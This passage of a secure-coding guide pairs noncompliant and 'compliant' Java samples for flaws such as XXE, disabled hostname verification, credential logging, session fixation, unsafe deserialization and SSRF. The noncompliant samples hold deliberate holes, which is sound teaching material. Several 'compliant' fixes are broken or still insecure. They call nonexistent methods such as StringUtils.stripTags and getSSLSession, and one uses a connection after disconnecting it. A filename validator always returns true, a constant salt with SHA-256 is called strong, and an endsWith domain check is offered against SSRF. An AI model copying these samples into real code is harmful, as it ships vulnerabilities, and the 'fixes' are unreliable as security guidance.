inadvertent exposure.\n\nBy implementing protected storage of credentials, the compliant code mitigates the risk of exposing sensitive information and enhances the overall security of the application.\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class UserAuthenticator {\n    private boolean isAdmin;\n    \n    public boolean authenticateUser(String username, String password) {\n        // Code to authenticate the user credentials\n        // ...\n        \n        // Set isAdmin flag based on the authentication result\n        if (username.equals(\"admin\") && password.equals(\"admin123\")) {\n            isAdmin = true;\n        }\n        \n        return true;\n    }\n    \n    public void performAdminAction() {\n        if (isAdmin) {\n            // Code to perform administrative action\n            // ...\n        } else {\n            System.out.println(\"Access denied. You are not authorized to perform this action.\");\n        }\n    }\n}\n```\n\nIn this noncompliant code, the UserAuthenticator class authenticates a user based on the provided credentials (username and password). If the authentication is successful for an admin user (hard-coded as \"admin\" and \"admin123\" in this example), the isAdmin flag is set to true. The performAdminAction method checks the isAdmin flag to determine whether the user is authorized to perform an administrative action.\n\n\nThe trust boundary violation occurs because the UserAuthenticator class allows the isAdmin flag to be manipulated from outside the authentication process. An attacker could potentially modify the isAdmin flag directly or through other means, bypassing the proper authentication process and gaining unauthorized access to perform administrative actions.\n\nTo address this vulnerability, here's an example of compliant code that enforces the trust boundary properly:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class UserAuthenticator {\n    private boolean isAdmin;\n    \n    public boolean authenticateUser(String username, String password) {\n        // Code to authenticate the user credentials\n        // ...\n        \n        // Set isAdmin flag based on the authentication result\n        if (username.equals(\"admin\") && password.equals(\"admin123\")) {\n            isAdmin = true;\n        } else {\n            isAdmin = false;\n        }\n        \n        return true;\n    }\n    \n    public void performAdminAction() {\n        if (checkAdminStatus()) {\n            // Code to perform administrative action\n            // ...\n        } else {\n            System.out.println(\"Access denied. You are not authorized to perform this action.\");\n        }\n    }\n    \n    private boolean checkAdminStatus() {\n        // Code to check the isAdmin flag from the authenticated user session\n        // ...\n        \n        return isAdmin;\n    }\n}\n```\n\n\nIn the compliant code, the isAdmin flag is properly enforced within the UserAuthenticator class. The flag is set during the authentication process based on the result of validating the user's credentials. The performAdminAction method calls the checkAdminStatus method, which internally checks the isAdmin flag from the authenticated user session.\n\nBy enforcing the trust boundary correctly, the compliant code ensures that only authenticated users with legitimate admin privileges can perform administrative actions. This prevents unauthorized access and strengthens the security of the application.\n\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class UserAuthenticator {\n    public boolean authenticateUser(String username, String password) {\n        // Code to authenticate the user credentials\n        // ...\n        \n        // Log the username and password\n        System.out.println(\"User credentials: \" + username + \", \" + password);\n        \n        // Continue with authentication logic\n        // ...\n        \n        return true;\n    }\n}\n```\n\nIn this noncompliant code, the UserAuthenticator class contains a method authenticateUser that takes the username and password as parameters for user authentication. However, the code lacks proper protection for the sensitive credentials. The System.out.println statement logs the credentials directly to the console, exposing them to potential attackers or unauthorized individuals who might have access to the log files.\n\n\nTo address this vulnerability, here's an example of compliant code that properly protects the credentials:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class UserAuthenticator {\n    public boolean authenticateUser(String username, String password) {\n        // Code to authenticate the user credentials\n        // ...\n        \n        // Log a generic message instead of the credentials\n        System.out.println(\"User authentication attempt\");\n        \n        // Continue with authentication logic\n        // ...\n        \n        return true;\n    }\n}\n```\n\n\nIn the compliant code, the System.out.println statement has been modified to log a generic message instead of the actual credentials. By avoiding the direct logging of sensitive information, such as usernames and passwords, the compliant code reduces the risk of exposing sensitive credentials to unauthorized individuals or potential attackers.\n\n\nIt's important to note that in a production environment, logging sensitive information like passwords should generally be avoided altogether. Instead, consider using proper logging frameworks that support sensitive data protection mechanisms, such as redaction or encryption, to ensure the confidentiality of sensitive information.\n\n\n\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport org.w3c.dom.Document;\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport java.io.ByteArrayInputStream;\n\npublic class XMLParser {\n    public Document parseXML(String xml) {\n        try {\n            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n            DocumentBuilder builder = factory.newDocumentBuilder();\n            Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));\n            return document;\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n}\n```\n\nIn this noncompliant code, the XMLParser class contains a method parseXML that takes an XML string as input and parses it into a Document object using the javax.xml.parsers.DocumentBuilder class. However, the code does not properly restrict XML external entity references, which can lead to security vulnerabilities like XXE attacks.\n\n\nTo address this vulnerability, here's an example of compliant code that implements proper restriction of XML external entity references:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.w3c.dom.Document;\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport java.io.ByteArrayInputStream;\n\npublic class XMLParser {\n    public Document parseXML(String xml) {\n        try {\n            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n            factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n            factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n            factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n            DocumentBuilder builder = factory.newDocumentBuilder();\n            Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));\n            return document;\n        } catch (ParserConfigurationException e) {\n            e.printStackTrace();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n}\n```\n\n\nIn the compliant code, the DocumentBuilderFactory is configured to disable the support for document type declarations (DTDs) and external entity references by setting the corresponding features. By disabling these features, the code effectively restricts XML external entity references and prevents potential XXE attacks.\n\n\nIt's crucial to be cautious when parsing XML data and to properly restrict XML external entity references to mitigate the risk of XXE vulnerabilities.\n\n\n\n\n\n\n## Vulnerable and Outdated Components\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport org.apache.commons.lang.StringUtils;\n\npublic class StringHelper {\n    public static String sanitizeString(String input) {\n        return StringUtils.stripTags(input);\n    }\n\n    public static boolean isNullOrEmpty(String input) {\n        return StringUtils.isEmpty(input);\n    }\n\n    public static boolean isNumeric(String input) {\n        return StringUtils.isNumeric(input);\n    }\n}\n```\n\nIn this noncompliant code, the StringHelper class uses the StringUtils class from the Apache Commons Lang library to perform string manipulation and validation. However, the code uses an outdated version of the library that may have known vulnerabilities.\n\n\nTo address this issue, it is important to keep all software components, including third-party libraries, up to date. Here's an example of compliant code that uses an updated version of the library:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.apache.commons.lang3.StringUtils;\n\npublic class StringHelper {\n    public static String sanitizeString(String input) {\n        return StringUtils.stripTags(input);\n    }\n\n    public static boolean isNullOrEmpty(String input) {\n        return StringUtils.isEmpty(input);\n    }\n\n    public static boolean isNumeric(String input) {\n        return StringUtils.isNumeric(input);\n    }\n}\n```\n\n\nIn the compliant code, the StringUtils class is imported from the org.apache.commons.lang3 package, indicating the use of the latest version of the Apache Commons Lang library (version 3.x). By using an updated version of the library, the code mitigates the risk of known vulnerabilities present in older versions.\n\n\nIt is crucial to regularly update software components, especially third-party libraries, to ensure the use of the latest security patches and fixes. Keeping components up to date helps protect against known vulnerabilities and ensures a more secure application.\n\n\n\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport javax.net.ssl.HttpsURLConnection;\nimport java.io.IOException;\nimport java.net.URL;\n\npublic class HttpClient {\n    public static void sendRequest(String url) throws IOException {\n        URL requestUrl = new URL(url);\n        HttpsURLConnection connection = (HttpsURLConnection) requestUrl.openConnection();\n        connection.setHostnameVerifier((hostname, session) -> true); // Disabling hostname verification\n        connection.setRequestMethod(\"GET\");\n        int responseCode = connection.getResponseCode();\n        // Process the response...\n    }\n}\n```\n\nIn this noncompliant code, the sendRequest method sends an HTTP GET request to the specified URL. However, the code disables hostname verification by setting a custom HostnameVerifier that always returns true. This means that the certificate presented by the server is not properly validated against the host name of the URL. This opens up the possibility of man-in-the-middle attacks and exposes the application to security risks.\n\n\nTo address this issue, it is essential to perform proper validation of the certificate with the host name of the URL. Here's an example of compliant code that implements proper certificate validation:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport javax.net.ssl.HttpsURLConnection;\nimport javax.net.ssl.SSLPeerUnverifiedException;\nimport javax.net.ssl.SSLSession;\nimport java.io.IOException;\nimport java.net.URL;\n\npublic class HttpClient {\n    public static void sendRequest(String url) throws IOException {\n        URL requestUrl = new URL(url);\n        HttpsURLConnection connection = (HttpsURLConnection) requestUrl.openConnection();\n        connection.setRequestMethod(\"GET\");\n        try {\n            connection.connect();\n            SSLSession session = connection.getSSLSession();\n            String peerHost = session.getPeerHost();\n            if (!requestUrl.getHost().equals(peerHost)) {\n                throw new SSLPeerUnverifiedException(\"Certificate does not match the host name\");\n            }\n        } catch (SSLPeerUnverifiedException e) {\n            // Handle certificate validation failure\n        } finally {\n            connection.disconnect();\n        }\n        int responseCode = connection.getResponseCode();\n        // Process the response...\n    }\n}\n```\n\n\nIn the compliant code, the sendRequest method establishes an HTTPS connection and performs proper certificate validation. It compares the host name of the URL with the host name obtained from the SSL session's peer. If there is a mismatch, it throws an SSLPeerUnverifiedException to indicate that the certificate does not match the host name.\n\nBy implementing proper certificate validation, the code ensures that the certificate presented by the server is validated against the host name of the URL, reducing the risk of man-in-the-middle attacks and enhancing the overall security of the application.\n\n\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.util.Scanner;\n\npublic class AuthenticationExample {\n    public static void main(String[] args) {\n        Scanner scanner = new Scanner(System.in);\n        \n        System.out.print(\"Enter username: \");\n        String username = scanner.nextLine();\n        \n        System.out.print(\"Enter password: \");\n        String password = scanner.nextLine();\n        \n        if (username.equals(\"admin\") && password.equals(\"password\")) {\n            System.out.println(\"Authentication successful\");\n            // Proceed with privileged operation\n        } else {\n            System.out.println(\"Authentication failed\");\n            // Handle authentication failure\n        }\n    }\n}\n```\n\nIn this noncompliant code, the username and password are collected from user input using a Scanner object. However, there is no proper mechanism in place to securely store and compare the credentials. The username and password are compared using simple string equality, which is vulnerable to various attacks such as brute-force attacks, dictionary attacks, and interception of the credentials.\n\n\nTo address this issue, here's a compliant code example:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.util.Scanner;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\npublic class AuthenticationExample {\n    private static final String SALT = \"random_salt\";\n    \n    public static void main(String[] args) {\n        Scanner scanner = new Scanner(System.in);\n        \n        System.out.print(\"Enter username: \");\n        String username = scanner.nextLine();\n        \n        System.out.print(\"Enter password: \");\n        String password = scanner.nextLine();\n        \n        if (authenticate(username, password)) {\n            System.out.println(\"Authentication successful\");\n            // Proceed with privileged operation\n        } else {\n            System.out.println(\"Authentication failed\");\n            // Handle authentication failure\n        }\n    }\n    \n    private static boolean authenticate(String username, String password) {\n        // Retrieve hashed password from a secure database or storage\n        String storedPasswordHash = getStoredPasswordHash(username);\n        \n        // Hash the input password with a salt\n        String hashedPassword = hashPassword(password);\n        \n        // Compare the stored hashed password with the input hashed password\n        return storedPasswordHash.equals(hashedPassword);\n    }\n    \n    private static String hashPassword(String password) {\n        try {\n            MessageDigest messageDigest = MessageDigest.getInstance(\"SHA-256\");\n            messageDigest.update((password + SALT).getBytes());\n            byte[] hashedBytes = messageDigest.digest();\n            return bytesToHexString(hashedBytes);\n        } catch (NoSuchAlgorithmException e) {\n            // Handle the exception\n            e.printStackTrace();\n        }\n        return null;\n    }\n    \n    private static String bytesToHexString(byte[] bytes) {\n        StringBuilder stringBuilder = new StringBuilder();\n        for (byte b : bytes) {\n            stringBuilder.append(String.format(\"%02x\", b));\n        }\n        return stringBuilder.toString();\n    }\n    \n    private static String getStoredPasswordHash(String username) {\n        // Retrieve the hashed password from a secure database or storage\n        // based on the given username\n        // Return the stored password hash\n        return \"stored_password_hash\";\n    }\n}\n```\n\n\nIn this compliant code, the password is securely hashed using a strong cryptographic hash function (SHA-256) with the addition of a salt value. The hashed password is then compared with the stored hashed password retrieved from a secure database or storage. This approach enhances the security of the authentication process by preventing the exposure of plain-text passwords and protecting against common attack vectors such as brute-force and dictionary attacks.\n\n\n\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\n\npublic class SessionFixationExample {\n    public static void login(HttpServletRequest request, String username) {\n        HttpSession session = request.getSession(true);\n        session.setAttribute(\"username\", username);\n    }\n    \n    public static void main(String[] args) {\n        HttpServletRequest request = // Obtain the request object\n        \n        String username = \"admin\";\n        login(request, username);\n        \n        // Proceed with authenticated actions\n    }\n}\n```\n\nIn this noncompliant code, the login method is called to authenticate a user and create a new session. However, the login method does not perform any session management or regeneration. It simply sets the username attribute in the session. This creates a vulnerability known as session fixation, where an attacker can force a victim's session identifier to a known value and then later hijack the session.\n\n\nTo address this issue, here's a compliant code example:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\n\npublic class SessionFixationExample {\n    public static void login(HttpServletRequest request, String username) {\n        HttpSession session = request.getSession();\n        session.invalidate(); // Invalidate the existing session\n        session = request.getSession(true); // Create a new session\n        \n        session.setAttribute(\"username\", username);\n    }\n    \n    public static void main(String[] args) {\n        HttpServletRequest request = // Obtain the request object\n        \n        String username = \"admin\";\n        login(request, username);\n        \n        // Proceed with authenticated actions\n    }\n}\n```\n\n\nIn this compliant code, the login method now performs proper session management. It first invalidates the existing session using the invalidate method, which ensures that any existing session data is cleared. Then, it creates a new session using request.getSession(true), which generates a new session identifier. This mitigates the session fixation vulnerability by ensuring that each user receives a fresh session identifier upon login, preventing an attacker from fixing the session identifier in advance.\n\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.File;\nimport java.io.IOException;\n\npublic class UntrustedFunctionalityExample {\n    public static void processFile(String filename) {\n        try {\n            File file = new File(filename);\n            // Process the file contents\n        } catch (IOException e) {\n            // Handle file processing error\n        }\n    }\n    \n    public static void main(String[] args) {\n        String userProvidedFilename = \"userfile.txt\";\n        processFile(userProvidedFilename);\n    }\n}\n```\n\nIn this noncompliant code, the processFile method accepts a user-provided filename as input and attempts to process the contents of the file. However, it directly uses the user-provided filename to create a File object without performing any validation or sanitization. This introduces the risk of including functionality from an untrusted source, as an attacker can manipulate the filename to potentially access sensitive files or perform arbitrary file operations.\n\n\nTo address this issue, here's a compliant code example:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.File;\nimport java.io.IOException;\n\npublic class UntrustedFunctionalityExample {\n    public static void processFile(String filename) {\n        // Validate and sanitize the filename before processing\n        if (isValidFilename(filename)) {\n            try {\n                File file = new File(filename);\n                // Process the file contents\n            } catch (IOException e) {\n                // Handle file processing error\n            }\n        } else {\n            // Handle invalid filename\n        }\n    }\n    \n    public static boolean isValidFilename(String filename) {\n        // Implement validation logic to ensure the filename is safe\n        // e.g., restrict file path, disallow certain characters, etc.\n        return true;\n    }\n    \n    public static void main(String[] args) {\n        String userProvidedFilename = \"userfile.txt\";\n        processFile(userProvidedFilename);\n    }\n}\n```\n\n\nIn this compliant code, a separate isValidFilename method is introduced to validate and sanitize the user-provided filename before processing it. The isValidFilename method should implement proper validation logic to ensure that the filename meets the desired criteria (e.g., restrict file path, disallow certain characters, etc.). Only if the filename passes the validation, it proceeds with processing the file contents. Otherwise, it handles the case of an invalid filename appropriately. By validating and sanitizing the input, the code mitigates the risk of including functionality from untrusted control and helps ensure that only safe and expected filenames are processed.\n\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.IOException;\nimport java.net.URL;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.StandardCopyOption;\n\npublic class CodeDownloadExample {\n    public static void downloadCode(String url, String destination) {\n        try {\n            URL codeUrl = new URL(url);\n            Path destinationPath = Path.of(destination);\n            Files.copy(codeUrl.openStream(), destinationPath, StandardCopyOption.REPLACE_EXISTING);\n        } catch (IOException e) {\n            // Handle download error\n        }\n    }\n    \n    public static void main(String[] args) {\n        String codeUrl = \"http://example.com/malicious-code.jar\";\n        String destinationPath = \"/path/to/save/malicious-code.jar\";\n        downloadCode(codeUrl, destinationPath);\n    }\n}\n```\n\nIn this noncompliant code, the downloadCode method accepts a URL and a destination path where the code will be downloaded. It directly opens a connection to the specified URL and downloads the code without performing any integrity check or verification. This approach leaves the code vulnerable to the download of malicious or tampered code, which can lead to security risks and potential exploitation.\n\n\nTo address this issue, here's a compliant code example:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.IOException;\nimport java.net.URL;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.StandardCopyOption;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\npublic class CodeDownloadExample {\n    public static void downloadCode(String url, String destination) {\n        try {\n            URL codeUrl = new URL(url);\n            Path destinationPath = Path.of(destination);\n            \n            // Download the code to a temporary file\n            Path tempPath = Files.createTempFile(\"downloaded_code\", \".tmp\");\n            Files.copy(codeUrl.openStream(), tempPath, StandardCopyOption.REPLACE_EXISTING);\n            \n            // Calculate the checksum of the downloaded code\n            String checksum = calculateChecksum(tempPath);\n            \n            // Verify the integrity of the downloaded code\n            if (isValidChecksum(checksum)) {\n                // Move the downloaded code to the destination path\n                Files.move(tempPath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n            } else {\n                // Handle integrity check failure\n                Files.deleteIfExists(tempPath);\n            }\n        } catch (IOException e) {\n            // Handle download error\n        }\n    }\n    \n    public static String calculateChecksum(Path filePath) throws IOException {\n        try {\n            MessageDigest md = MessageDigest.getInstance(\"SHA-256\");\n            byte[] fileBytes = Files.readAllBytes(filePath);\n            byte[] checksumBytes = md.digest(fileBytes);\n            StringBuilder checksumBuilder = new StringBuilder();\n            for (byte b : checksumBytes) {\n                checksumBuilder.append(String.format(\"%02x\", b));\n            }\n            return checksumBuilder.toString();\n        } catch (NoSuchAlgorithmException e) {\n            throw new RuntimeException(\"Error calculating checksum.\", e);\n        }\n    }\n    \n    public static boolean isValidChecksum(String checksum) {\n        // Compare the calculated checksum with a trusted value\n        String trustedChecksum = \"e1a7a76c51a1024193a54f95e3dbaeaeaa01a7544c24404db4c24bdf8a34937e\";\n        return trustedChecksum.equals(checksum);\n    }\n    \n    public static void main(String[] args) {\n        String codeUrl = \"http://example.com/malicious-code.jar\";\n        String destinationPath = \"/path/to/save/malicious-code.jar\";\n        downloadCode(codeUrl, destinationPath);\n    }\n}\n```\n\n\n\n\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\n\npublic class DeserializationExample {\n    public static void main(String[] args) {\n        String serializedData = \"serialized_data.ser\";\n        \n        try (FileInputStream fileIn = new FileInputStream(serializedData);\n             ObjectInputStream in = new ObjectInputStream(fileIn)) {\n            \n            Object obj = in.readObject();\n            // Process the deserialized object\n            \n        } catch (IOException | ClassNotFoundException e) {\n            // Handle deserialization error\n        }\n    }\n}\n```\n\nIn this noncompliant code, the DeserializationExample class attempts to deserialize an object from a serialized file using ObjectInputStream. However, it does not perform any validation or checks on the deserialized data, making it vulnerable to attacks such as remote code execution, object injection, or deserialization of malicious data.\n\n\nTo address this issue, here's a compliant code example:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\n\npublic class DeserializationExample {\n    public static void main(String[] args) {\n        String serializedData = \"serialized_data.ser\";\n        \n        try (FileInputStream fileIn = new FileInputStream(serializedData);\n             ObjectInputStream in = new ObjectInputStream(fileIn)) {\n            \n            // Perform validation on the deserialized object\n            Object obj = in.readObject();\n            if (isValidObject(obj)) {\n                // Process the deserialized object\n            } else {\n                // Handle invalid or malicious object\n            }\n            \n        } catch (IOException | ClassNotFoundException e) {\n            // Handle deserialization error\n        }\n    }\n    \n    public static boolean isValidObject(Object obj) {\n        // Implement validation logic based on the expected object type\n        // and any additional validation criteria\n        \n        // Example: Ensure the deserialized object is of the expected type\n        return obj instanceof MySerializableClass;\n    }\n}\n```\n\n\nIn this compliant code, the deserialization process includes a validation step before processing the deserialized object. The isValidObject method is used to perform validation based on the expected object type and any additional validation criteria. This helps prevent the deserialization of untrusted or malicious data by ensuring that the deserialized object meets the expected criteria.\n\n\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class PaymentService {\n    private static final Logger logger = Logger.getLogger(PaymentService.class.getName());\n\n    public void processPayment(String paymentData) {\n        // Process the payment\n        // ...\n\n        // Log the payment result\n        logger.info(\"Payment processed successfully\");\n    }\n}\n```\n\nIn this noncompliant code, the PaymentService class processes a payment but only logs a generic message indicating a successful payment. The logging is insufficient because it lacks essential information such as the user's identity, the payment amount, and any relevant contextual details. This makes it challenging to investigate and trace payment-related issues or potential security incidents.\n\n\nTo address this issue, here's a compliant code example:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class PaymentService {\n    private static final Logger logger = Logger.getLogger(PaymentService.class.getName());\n\n    public void processPayment(String paymentData, User user) {\n        // Process the payment\n        // ...\n\n        // Log the payment result with relevant information\n        logger.info(\"Payment processed successfully. User: \" + user.getUsername() + \", Amount: \" + paymentData.getAmount());\n    }\n}\n```\n\n\nIn this compliant code, the processPayment method now accepts an additional parameter User to capture the user's information. The relevant information, such as the user's username and payment amount, is included in the log message. By providing more detailed and contextual information in the log, it becomes easier to track and investigate payment-related events or security incidents.\n\n\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class LoginService {\n    private static final Logger logger = Logger.getLogger(LoginService.class.getName());\n\n    public void logInvalidLogin(String username) {\n        // Log the invalid login attempt\n        logger.info(\"Invalid login attempt: \" + username);\n    }\n}\n```\n\nIn this noncompliant code, the logInvalidLogin method logs an invalid login attempt by directly concatenating the username into the log message. This approach can lead to log injection or log forging attacks if the username contains special characters or control characters.\n\nTo address this issue, here's a compliant code example that applies proper output neutralization:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class LoginService {\n    private static final Logger logger = Logger.getLogger(LoginService.class.getName());\n\n    public void logInvalidLogin(String username) {\n        // Sanitize the username to prevent log injection\n        String sanitizedUsername = sanitize(username);\n\n        // Log the invalid login attempt with the sanitized username\n        logger.info(\"Invalid login attempt: \" + sanitizedUsername);\n    }\n\n    private String sanitize(String input) {\n        // Implement appropriate sanitization logic\n        // ...\n        return input.replaceAll(\"[^a-zA-Z0-9]\", \"\");\n    }\n}\n```\n\nIn this compliant code, the sanitize method is introduced to properly neutralize the output by removing any potentially malicious or unwanted characters from the username. The sanitize method can be customized based on the specific requirements and context of the application. By applying proper output neutralization techniques, the risk of log injection or log forging attacks is mitigated, ensuring the integrity and reliability of the log data.\n\n\n\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class PaymentService {\n    public void processPayment(String creditCardNumber, double amount) {\n        // Process the payment\n\n        // Log the payment without including security-relevant information\n        Logger.getLogger(PaymentService.class.getName()).info(\"Payment processed\");\n    }\n}\n```\n\n\nIn this noncompliant code, the processPayment method processes a payment but fails to include security-relevant information in the log message. This omission can make it difficult to track and investigate any security-related issues or anomalies related to the payment processing.\n\n\nTo address this issue, here's a compliant code example that includes security-relevant information in the log message:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class PaymentService {\n    public void processPayment(String creditCardNumber, double amount) {\n        // Process the payment\n\n        // Log the payment with security-relevant information\n        Logger logger = Logger.getLogger(PaymentService.class.getName());\n        logger.info(\"Payment processed - Credit Card: \" + maskCreditCardNumber(creditCardNumber) + \", Amount: \" + amount);\n    }\n\n    private String maskCreditCardNumber(String creditCardNumber) {\n        // Mask the credit card number for security purposes\n        // ...\n        return \"************\" + creditCardNumber.substring(creditCardNumber.length() - 4);\n    }\n}\n```\n\n\nIn this compliant code, the log message is enhanced to include the masked credit card number and the payment amount. The maskCreditCardNumber method is introduced to obfuscate the sensitive credit card number and ensure its security during logging. By including security-relevant information in the log message, administrators and security analysts can better monitor and investigate payment-related activities, facilitating incident response and security analysis.\n\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npublic class UserService {\n    private static final Logger logger = Logger.getLogger(UserService.class.getName());\n\n    public void createUser(String username, String password) {\n        // Create the user\n\n        // Log the sensitive information\n        logger.info(\"User created - Username: \" + username + \", Password: \" + password);\n    }\n}\n```\n\nIn this noncompliant code, the createUser method logs sensitive information, such as the username and password, directly into the log file. Storing sensitive data in log files can pose a significant security risk, as log files may be accessible to unauthorized individuals or stored indefinitely, potentially exposing sensitive information.\n\n\nTo address this issue, here's a compliant code example that avoids logging sensitive information:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npublic class UserService {\n    private static final Logger logger = Logger.getLogger(UserService.class.getName());\n\n    public void createUser(String username, String password) {\n        // Create the user\n\n        // Log a message without sensitive information\n        logger.info(\"User created - Username: \" + username);\n    }\n}\n```\n\n\nIn this compliant code, the logging statement is modified to exclude the password. Only the username is logged, while the password is omitted from the log message. By avoiding the logging of sensitive information, the risk of exposing sensitive data in log files is mitigated, enhancing the overall security posture of the application.\n\n\n\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.net.URL;\n\npublic class ImageProcessor {\n    public void processImage(String imageUrl) throws IOException {\n        // Retrieve image from the provided URL\n        URL url = new URL(imageUrl);\n        BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));\n        // Process the image\n        // ...\n    }\n}\n```\n\nIn this noncompliant code, the processImage method accepts an imageUrl as input and directly makes a request to that URL to retrieve an image. This code is vulnerable to SSRF because it allows an attacker to specify any URL, including internal network resources or malicious URLs, leading to potential attacks against internal systems or services.\n\n\nTo address this SSRF vulnerability, here's a compliant code example that implements proper URL validation and restricts the allowed domains:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.net.URL;\n\npublic class ImageProcessor {\n    private static final String ALLOWED_DOMAIN = \"example.com\";\n\n    public void processImage(String imageUrl) throws IOException {\n        // Validate the URL\n        URL url = new URL(imageUrl);\n        String host = url.getHost();\n        \n        if (!host.endsWith(ALLOWED_DOMAIN)) {\n            throw new IllegalArgumentException(\"Invalid image URL\");\n        }\n\n        // Retrieve image from the provided URL\n        BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));\n        // Process the image\n        // ...\n    }\n}\n```\n\nIn this compliant code, the URL is validated by checking the host against an allowed domain (e.g., \"example.com\"). If the URL does not belong to the allowed domain, an exception is thrown. This ensures that only trusted URLs are processed and mitigates the risk of SSRF attacks by restricting requests to specific domains.\n\nIt's important to note that URL validation can be more complex depending on the specific requirements of your application. This example demonstrates a basic approach, but it's recommended to use a well-tested library or framework for URL parsing and validation to handle various edge cases and potential vulnerabilities effectively."
  },
  {
    "path": "docs/rules/kotlin.md",
